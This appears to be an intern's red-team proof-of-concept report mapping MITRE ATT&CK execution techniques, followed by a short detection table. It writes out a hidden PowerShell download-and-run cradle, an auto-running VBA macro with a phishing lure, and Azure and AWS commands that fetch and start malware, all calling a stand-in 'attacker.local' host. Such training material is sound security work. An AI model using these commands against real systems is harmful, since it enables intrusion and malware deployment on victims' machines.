## PoC Report – Tactic: Execution (TA0002)

**🧑 Author**: Ishan Chowdhury  
**🆔 Intern ID**: 159  
**🧠 Team**: SkullFaced

### 🎯 MITRE ATT&CK Mapping

**Tactic**: [TA0002 – Execution](https://attack.mitre.org/tactics/TA0002/" \t "_new)

**Techniques**:

1. [T1059.001 – PowerShell](https://attack.mitre.org/techniques/T1059/001/" \t "_new)
2. [T1204.002 – User Execution: Malicious File](https://attack.mitre.org/techniques/T1204/002/" \t "_new)
3. [T1651 – Cloud Administration Command](https://attack.mitre.org/techniques/T1651/" \t "_new)

## 🧪 Procedures

### ****T1059.001 – PowerShell Execution****

**Goal**: Use PowerShell to execute a remote malicious payload on a compromised Windows host.

powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker.local/payload.ps1')"

**Expected Path**:  
C:\Users\Public\payload.ps1

**Purpose**: Executes code from a remote server while bypassing execution policies and hiding the execution window.

### ****T1204.002 – User Execution: Malicious File****

**Goal**: Trick the user into opening a macro-enabled document that silently triggers PowerShell.

**Macro Code (VBA):**

Sub AutoOpen()

    Shell "powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command ""IEX (New-Object Net.WebClient).DownloadString('http://attacker.local/loader.ps1')"""

End Sub

**Delivery Path**:  
C:\Users\jane.doe\Documents\Reports\Q2\_Budget\_Update.docm

**Phishing Example**:  
Sent from: it.support@corpdomain.com  
To: jane.doe@targetcorp.com  
Subject: Payroll Update – Urgent Review

### 🔹 ****T1651 – Cloud Administration Command Execution****

**Azure Command Example:**

az vm run-command invoke \

  --resource-group SalesTeam \

  --name Finance-Server \

  --command-id RunPowerShellScript \

  --scripts "Invoke-WebRequest 'http://attacker.local/malware.exe' -OutFile 'C:\ProgramData\malware.exe'; Start-Process 'C:\ProgramData\malware.exe'"

**AWS SSM Example:**

aws ssm send-command \

  --instance-ids "i-0a12bc3d456e789f0" \

  --document-name "AWS-RunPowerShellScript" \

  --parameters 'commands=["Invoke-WebRequest http://attacker.local/malware.exe -OutFile C:\\ProgramData\\malware.exe", "Start-Process C:\\ProgramData\\malware.exe"]'

## 📊 Combined Attack Chain Summary

| **Step** | **Technique ID** | **Description** |
| --- | --- | --- |
| 1–3 | T1059.001 | PowerShell used to retrieve and execute remote script |
| 4–6 | T1204.002 | Macro document executes PowerShell silently on user machine |
| 7–8 | T1651 | Cloud API used to push and run malware inside VMs |

## 🛡️ Detection & Mitigation

| **Category** | **Defense Strategy** |
| --- | --- |
| PowerShell Logging | Enable Event ID 4104, monitor C:\Users\\*\AppData\Local\Temp\\*.ps1 |
| Macro Defense | Block .docm from Internet Zone, enable Protected View |
| Cloud Admin Control | Monitor Azure/AWS API usage, restrict execution rights, enable logging |

🔗

## 🔗 References

1. [MITRE T1059.001 – PowerShell](https://attack.mitre.org/techniques/T1059/001/" \t "_new)
2. [MITRE T1204.002 – User Execution: Malicious File](https://attack.mitre.org/techniques/T1204/002/" \t "_new)
3. [MITRE T1651 – Cloud Admin Command](https://attack.mitre.org/techniques/T1651/" \t "_new)
4. MITRE ATT&CK Enterprise Matrix